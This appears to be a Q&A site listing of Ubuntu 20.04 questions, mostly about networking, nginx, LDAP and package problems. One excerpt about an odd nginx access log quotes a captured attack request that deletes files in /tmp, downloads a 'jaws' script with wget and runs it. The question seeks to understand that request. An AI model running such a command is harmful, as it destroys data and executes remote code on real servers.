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Questions tagged [ubuntu-20.04]

Ubuntu 20.04, named "Focal Fossa" is a Long Term Support release of Ubuntu Linux (released on April 23rd, 2020). Note that http://askubuntu.com is specifically dedicated to Ubuntu questions.

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Trying to mirror my website with wget, but nofollow attribute is found , and I cannot download anything more than index.html

I am running a wordpress site on a Ubuntu 20.04 based LEMP server. I have the pagespeed plugin enabled, and in order to force it to cache my website, I am using wget from a different box to mirror the ...
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2 answers
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Secondary IP not pingable from internet - Ubuntu 20.04 using netplan on Hetzner server

Let me start be saying I'm not an network expert. That being said, I'd need some help here as I'm breaking my head on this issue for two days now. I have several questions but will focus only on one ...
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Netplan doesn't delete bond interface when removed from config

I have a working bond config, set via Netplan Example, netplan config: network: bonds: bond0: addresses: [10.10.10.135/26] gateway4: 10.10.10.128 interfaces: [ens1f0, ens1f1] ...
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apt-get upgrade vs unattended-upgrades under ubuntu 20.04

unattended-upgrades seems to skip certain upgrades, e. g. google chrome upgrade. A subsequent call of apt-get upgrade then finds and installs the ugrade. Does this mean, I must schedule apt-get ...
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-2 votes
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cpu utilization is going too high whenever running videos from any browser or even ofline & etc in ubuntu:20.04... Any one can provide any solution?

UID PID PPID C STIME TTY TIME CMD root 1 0 0 14:35 ? 00:00:02 /sbin/init splash root 2 0 0 14:35 ? 00:00:00 [kthreadd] root ...
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Ubuntu server 20.04 stuck in login

I have an Ubuntu VPS that I installed lxdm as a default display manager and the xfce as the desktop environment, also I enabled auto login. I was using Anydesk for remote control. Everything was ...
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3 votes
2 answers
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ZFS and SAN: issue with data scrubbing

Working as scientists in a corporate environment, we are provided with storage resources from a SAN within an Ubuntu 20.04 virtual machine (Proxmox). The SAN controller is passed directly to the VM (...
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Debian gluster install doesn't work in Ubuntu 20.04

Following the instructions to add the gluster PPA to my Ubuntu 20.04 system, I get the following error when doing the apt update command: Ign:5 https://download.gluster.org/pub/gluster/glusterfs/...
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Connect to remote LDAP server via Guacamole

Ubuntu 20.04 Guacamole 1.3.0 guacamole-auth-ldap-1.3.0 /etc/guacamole/guacamole.properties: Ldap-hostname: x.x.x.x Ldap-port: 389 ldap-user-base-dn: CN=serv,OU=Invis,DC=invis,DC=com ...
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Error validating install location: Distro 'ubuntu20.04' does not exist in our dictionary

I am trying to Install Ubuntu20.04 as a Guest on top of KVM (Ubuntu 18.04 LTS ) and see the below error. :~$ sudo virt-install \ --name=sno-dns --os-variant=ubuntu20.04 --ram=8192 --vcpus=4 --network ...
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Cryptomator Volume on WSL

One of my main volumes on Windows, P:, gets encrypted with Cryptomator. I then unlock the vault’s contents via X:, which I want to access using WSL. I am opening the installed Ubuntu 20.04 WSL distro ...
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Increase space on a ext4 file system?

I have the following stats in my Ubuntu 20.04.4 LTS file system: Filesystem Size Used Avail Use% Mounted on /dev/sda1 97G 4.7G 93G 5% / /dev/sdb 89G 89G 0 100% /mnt/...
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Who is the correct owner and group for these system files? (Digital Ocean Droplet running Ubuntu 20.04)

This should be a simple answer for anyone using a Digital Ocean droplet on Ubuntu 20.04. I accidentally ran a command that changed ownership and group of a bunch of files in /var (outside the ...
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Dns multiple server forwarding

I have host name ftp.example.com Can it be redirected by DNS to different servers For example ftp://ftp.example.com to server 192.168.xx.1 https://ftp.example.com to server 192.168.xx.2
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SIOCDELRT: No such process when deleting default route from secondary interface on Ubuntu

I'm trying to remove the automatically-generated default route for a particular interface on an Ubuntu machine. I have two interfaces, enp0s3 and enp0s8. Default routes are generated for each of them: ...
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SendEcho ERROR: sending to ICMPv6 packet to [2a06:98c1:3121::7]: (101) Network is unreachable

we are using (Ubuntu 20.04 / Squid server / running on Azure) we are getting bellow error, SendEcho ERROR: sending to ICMPv6 packet to [2a06:98c1:3121::7]: (101) Network is unreachable We are not ...
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Ubuntu 20.04 doesn't boot after setting SELinux enforcing

I'm trying to set SELinux to enforcing on Ubuntu 20.04, and the steps I did are as follow: Install SELinux = sudo apt-get install policycoreutils selinux-utils selinux-basics -y Activate SELinux = ...
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Nginx and Modsec version mismatch

I have installed nginx and modsec roughly following this tutorial https://www.linuxcapable.com/how-to-install-modsecurity-with-nginx-on-ubuntu-20-04/. After a couple of months working perfectly I am ...
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What controls the NIC naming convention after fresh Ubuntu 20.04 install?

This is a fresh install Ubuntu server 20.04.04 system. I'm using networkd and netplan to configure networking. I did not do any custom install steps, just loaded the .iso and installed Ubuntu server ...
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How to disable 8080 external access to jenkins?

I have installed nginx along with jenkins on ubuntu 21 machine. Configured nginx to redirect 80 traffic to 8080 using the steps in this link Now, able to redirect the traffic from 80 to 8080. So, to ...
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I want to reset a FC_HOST before the multipath tries to mount paths from it

I have an HPE SN1100Q 2port 16G HBA card on my hpe proliant gen10 server which is connected to HPE 3par storage direct attach. And some wierd stuff happening. Im using qla2xxx driver version 10.01.00....
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Apache2 Default HTTPS 443 Vhost

I'm currently trying to make a default vhost for HTTPS to block traffic from unauthorized domains. However, when I define a default 443 vhost, ALL other HTTPS vhosts inherit this as well and prevents ...
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1 answer
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Mounting a shared folder with a virtual machine using Oracle VM virtual box manager

I've done this before but I just updated Oracle VM virtual box manager, I'm on the step where I select the folder to link to my own host computer but it's not letting select the okay button to mount ...
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How to setup Ldap user to change password at first login

I am using ubuntu 20.4 with LDAP 6.7 on web browser. I am able to add users, groups and even logged in on client machine. but unable to setup Ldap user to change password at first login at the client ...
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prevent ssh connection being lost after connecting to vpn server on Azure ubuntu 20.04 vm

I've created an Ubuntu 20.04 scale set (2 vms) on Azure and access these vms via ssh from my laptop's shell. I want one of them to be connected to nordvpn (using nordvpn connect command, default is ...
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Ubuntu Server 20.04 has ModemManager installed?

how likely is to have a "clean" ModemManager installed in /usr/sbin on a Web only Ubuntu 20.04 server? The only thing I manually setup is Docker Engine and I deploy remotely with docker-...
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-1 votes
1 answer
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Can't Access Vmware Esxi from GUI and CLI after polling from OpenNMS

I added Vmware Esxi ip in OpenNMS and configured SNMP for the same. After successful addition of node, I also added Configuration in /usr/share/opennms/etc/vmware-config.xml ( I am running OpenNMS in ...
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Bareos: Bscan doesn't recover database entries (Tapes from MySQL new server Postgres Database)

I had an ubuntu server 18.04 running with bareos and mysql database. Monthly I saved data on tapedrive and everything was working fine. Unfortunately I had a servercrash without a backup of the dump ...
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3 answers
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How to safety delete a package/software which wasn't installed via package manager

I have an old Ubuntu Linux 20 install. I recently found that I have a bunch of software that I installed before I started fully using package management and I can't remember the details of the ...
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-2 votes
1 answer
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Deploying Kubernetes from scratch [closed]

Could someone share some good tutorials how to deploy kubernetes cluster on my own server? I do not want to use Amazon, Digital Ocean or Linode. I have my proxmox server. So the ideal scenario will be ...
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0 votes
1 answer
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Docker, WireGuard, firewalld

Environment: Ubuntu 20.04 LTS Docker WireGuard firewalld I checked systemctl status firewalld I have this message Mar 10 23:04:29 vpnwaw firewalld[542]: WARNING: COMMAND_FAILED: '/usr/sbin/iptables -...
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1 answer
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upgraded to Ubuntu 20, reconfiguring apache2, utterly clueless

I upgraded to Ubuntu 20 on my Google Compute vm. Now apache2 isn't serving stuff up when i hit my server (by external ip) via lynx. apache2 DOES serve up the default page when i do lynx localhost on ...
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0 votes
1 answer
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Website on Ubuntu 20.04 will not show to public

I'm facing a strange issue, at least to me, that I can't crack. My domain is fully propagated according to whatsmydns.net: whatsmydns.net report Yet dig won't give me an ip: ; <<>> DiG 9....
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1 vote
0 answers
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How to find installation of apache [closed]

I have a server running Ubuntu 20.04.3 LTS (Focal Fossa). It is at IP address 192.168.1.12 When I use a web browser to access 192.168.1.12, a NextCloud login appears. This is all well and good ...
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DSTAT output scrambled on Ubuntu 20.04 LTS using macOS Monterey terminal

The problem When I logon to a machine running Ubuntu 20.04 LTS and run 'dstat' I get this kind of output: garbled dstat output So regular dstat output is ok, but as soon as you enter 'dstat ' things ...
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#ASK Reverse Zone: Server Can't Find .in-addr.arpa : NXDOMAIN

I figure it out about reverse zone, so I already config my local DNS with this simple config: 1. named.conf.options acl internal { 192.168.1.0/24; // data 192.168.2.0/24; // data ...
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K8s nodeLocalDns pod times out connecting to coreDns after upgrading base os to ubuntu20.04 ConnectX-4 card

Team, I have Mellanox Nic ConnectX-4 on a k8s worker node and it hosts a nodeLocal dns pod on it. The nodeLocalDns pod is timing out when trying to connect to coreDns service on k8s cluster. Same ...
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Ubuntu 20.04 false subnet per interface isc-dhcp-server

This morning I have configure my interfaces network: version: 2 renderer: networkd ethernets: ens160: dhcpd4: true nameservers: addresses: [8.8.8.8,...
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1 answer
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How to monitor ubuntu server resources consumption history

I'm working with a new web application installed on Ubuntu 20.04 server. The web application is still in testing status and I need to check if the machine resources are enought during the day. How can ...
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Traffic Control to Openvpn Clients

I have a group of users connecting to my server(ubuntu 20.04 x64) via OpenVPN(2.4.7) UDP. I'd like to be able to limit each user's bandwidth to say 10mb/s up and 10mb/s down using the TC command. Here ...
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1 answer
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MariaDB using much more memory than it should

We are using MariaDB 10.3.32 on a Ubuntu 20.04.4 machine with 6 GB of memory, about 20 applications running on it. Databases are all InnoDB. Even with mostly default settings (see on the bottom), ...
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Mysql query string too long

I'm experiencing a strange mysql behaviour that occurs between two virtual machines. When I have a query string longer than 1457 chars, the connection I'm using hangs. I was thinking the problem was a ...
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Where are default limits set for processes running as a service? (Ubuntu 18/20)

After updating MongoDB to Ubuntu 18/20, MongoDB reported "Soft rlimits too low: currentValue: 1024", but only when running as a service (not as a user). How to fix has been answered, and the ...
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1 answer
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Cannot obtain credentials for computer account - client not found in kerberos database

I have successfully joined an ubuntu machine (Ubuntu 20.04 LTS) to an Active Directory. Therefore, I can log in with AD-Accounts, obtain and renew the ticket grantin ticket for the user, and access ...
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1 vote
1 answer
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Error response from daemon: manifest for quay.io/phpseclib/php8.1:latest not found: manifest unknown: manifest unknown

Per https://quay.io/repository/phpseclib/php8.1 I should be able to pull down that Docker container by doing docker pull quay.io/phpseclib/php8.1 but when I try I get this error: Using default tag: ...
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1 answer
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Nginx webserver access.log unusual $host

222.187.223.158 - - [17/Feb/2022:15:41:02 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 444 0 "-" "Hello, world" "http://127.0.0.1&...
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Installation of Courier 1.0.6-1build2 fails on Ubuntu 20.04

The installation of Courier 1.0.6-1build2 on Ubuntu 20.04 fails, although the courier-package is the one provided by the OS. The problem occurs in a post-installation script which leaves the package ...
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1 answer
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Same server_name with different applications plugged as separate location blocks in nginx

Is it possible to "plug" different web services (exposed from different docker containers) in a same nginx server? Here's a simple example to get the general idea: server { listen 80; ...
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2 answers
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Hosting two different django project in the same droplet with different subdomains (NGINX, Gunicorn, ubuntu)

As the title says I want to host two different django project in the same droplet (NGINX, Gunicorn, ubuntu) with different subdomains. One will be our main site example.com. which is up and running ...
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1 vote
3 answers
4k views

Apt-Get Update Failing because of Certificate Validation

Using Ubuntu Focal fossa. I was trying to install a checkpoint ssl software for VPN, but seems like something messed up all my certificates. Now whenever I try sudo apt-get update I get the following ...
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